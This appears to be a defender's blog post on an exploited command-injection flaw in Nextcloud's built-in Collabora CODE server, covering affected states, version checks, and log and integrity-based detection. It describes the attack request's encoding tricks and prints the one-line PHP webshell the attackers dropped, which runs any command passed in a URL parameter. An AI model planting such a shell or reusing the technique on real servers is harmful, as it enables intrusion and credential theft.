CVE-2026-110447 is an unauthenticated command injection in proxy.php, the PHP script that fronts the document server inside the Collabora Online built-in CODE Server app for Nextcloud, and Collabora scores it 9.2 1. Attackers used it against Nextcloud servers in September and October 2026, and CISA added it to the KEV catalog on 23 October 23. The fixed build of the app is 26.4.303 1.
The score describes what a successful request buys an attacker. The request only runs while the document server is down, and that is the part I keep turning over.
The flaw needs the document server stopped
An attacker who sends the right request while the built-in CODE server is not running gets command execution as the web server user, and the window opens on a container restart, an app upgrade, or a crash 1. A built-in deployment launches its own document service, and the proxy is where an incoming web request turns into a process launch. While the service answers, the proxy passes traffic through and the launch path never runs, so a healthy stack gives no sign of the problem.
Collabora’s maintainer put the affected code in the Development Edition, the built-in mode that downloads a local appimage 4, and the advisory excludes standalone Collabora Online servers from its scope 1. Disabling the app does not remove the exposure, so the fix is an upgrade to 26.4.303 or a removal 1. Nextcloud 29 and older are end of life, and Collabora’s guidance for those releases is to upgrade Nextcloud or drop the app 1.
I keep three states apart
Three questions sit behind “is this app vulnerable”: which files exist on the host, whether the app is switched on, and whether the document process runs. An admin screen that shows the app disabled answers the second question and nothing else, and a document service that answers requests tells me only that the process ran when I asked 5.
I start on disk. occ app:list shows whether the app is present and enabled, occ app:getpath richdocumentscode prints the directory, and occ config:app:get richdocumentscode installed_version returns the version that is installed 6. Anything below 26.4.303 is the finding. I check the running process afterward, as a separate fact rather than a confirmation of the first.
Migrations give me a second reason to read the installer. A stack that moved to a separate document service can still hold the old built-in appimage on disk, and the file left behind is the one with the proxy in it 5.
What the request looked like
The report that opened this came from an operator running a set of Nextcloud servers on 26.4.302. Requests arrived at /apps/richdocumentscode/proxy.php?status with ../ written as %2e%2e, command substitution in the query string, ${IFS} standing in for spaces, and a base64 blob decoded and piped into sh 4. The payload wrote a PHP file into the app directory and then called it back with ?c=id. The shell it dropped runs whatever the c parameter carries:
<?php $c=$_GET['c']??'id'; echo shell_exec($c.' 2>&1');
The reporter posted a SHA-256 for one recovered sample, and on a system where the shell became reachable the attacker used it to read around for .kdbx files, wallet.dat, keystore.json, and password manager data 4. The web user on a file-sharing host can read a lot, so a shell there reaches past the one container it landed in.
Where I look after the fact
The access log comes first, because the exploit leaves a signature: a request to proxy.php?status with the traversal encoded as %2e%2e, and some indicators encode $( as %24%28, which is why I search both forms 4.
The integrity check comes second. occ integrity:check-app richdocumentscode reports files in the app directory that the app did not ship, and a dropped webshell shows up there as an extra file 7. I also compare modification times in that directory against the install date, since a file written weeks after the last app update does not belong, and I watch the web tier for a PHP worker spawning sh, curl or wget or opening a connection to a host the stack never talks to.
What the due date settles
CISA added this to the catalog on 23 October with a remediation date of 26 October, and the entry carries a forensic triage requirement under BOD 26-04 3. For a federal agency that date is a compliance clock. For my own stack it is the least interesting line in the entry, because it answers when the fix must land, not whether a restart in September handed somebody a shell.
The order I use is upgrade, integrity check, log review. The upgrade is one app version and it takes minutes. The log review is where the answer about a past window lives, and it is the step that gets skipped once the first step goes smoothly.
The upgrade closes the next restart window, and the file listing and the log review are what I have for the windows already past.
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Collabora. (2026, October 14). Unauthenticated OS command injection in the richdocumentscode proxy (GHSA-g3vx-3m76-fghh). GitHub Security Advisories. https://github.com/CollaboraOnline/online/security/advisories/GHSA-g3vx-3m76-fghh ↩︎ ↩︎ ↩︎ ↩︎ ↩︎ ↩︎
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GitHub Advisory Database. (2026, October 14). Collabora Online Built-in CODE Server before 26.4.303 (GHSA-f97p-r72q-64h2). GitHub. https://github.com/advisories/GHSA-f97p-r72q-64h2 ↩︎
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Cybersecurity and Infrastructure Security Agency. (2026). Known exploited vulnerabilities catalog: CVE-2026-110447. https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-110447 ↩︎ ↩︎
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HeikoBw. (2026, September 11). Security issue - Hack (Issue #354). CollaboraOnline/richdocumentscode. GitHub. https://github.com/CollaboraOnline/richdocumentscode/issues/354 ↩︎ ↩︎ ↩︎ ↩︎
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Penligent. (2026, October 18). CVE-2026-110447: Nextcloud Collabora exposure and the limits of disabling the app. https://www.penligent.ai/hackinglabs/cve-2026-110447/ ↩︎ ↩︎
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Nextcloud. (n.d.). Apps, background jobs and config commands [Web page]. Nextcloud 35 Administration Manual. https://docs.nextcloud.com/server/stable/admin_manual/occ_apps.html ↩︎
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Nextcloud. (n.d.). Files commands [Web page]. Nextcloud 35 Administration Manual. https://docs.nextcloud.com/server/stable/admin_manual/occ_files.html#integrity-check-app ↩︎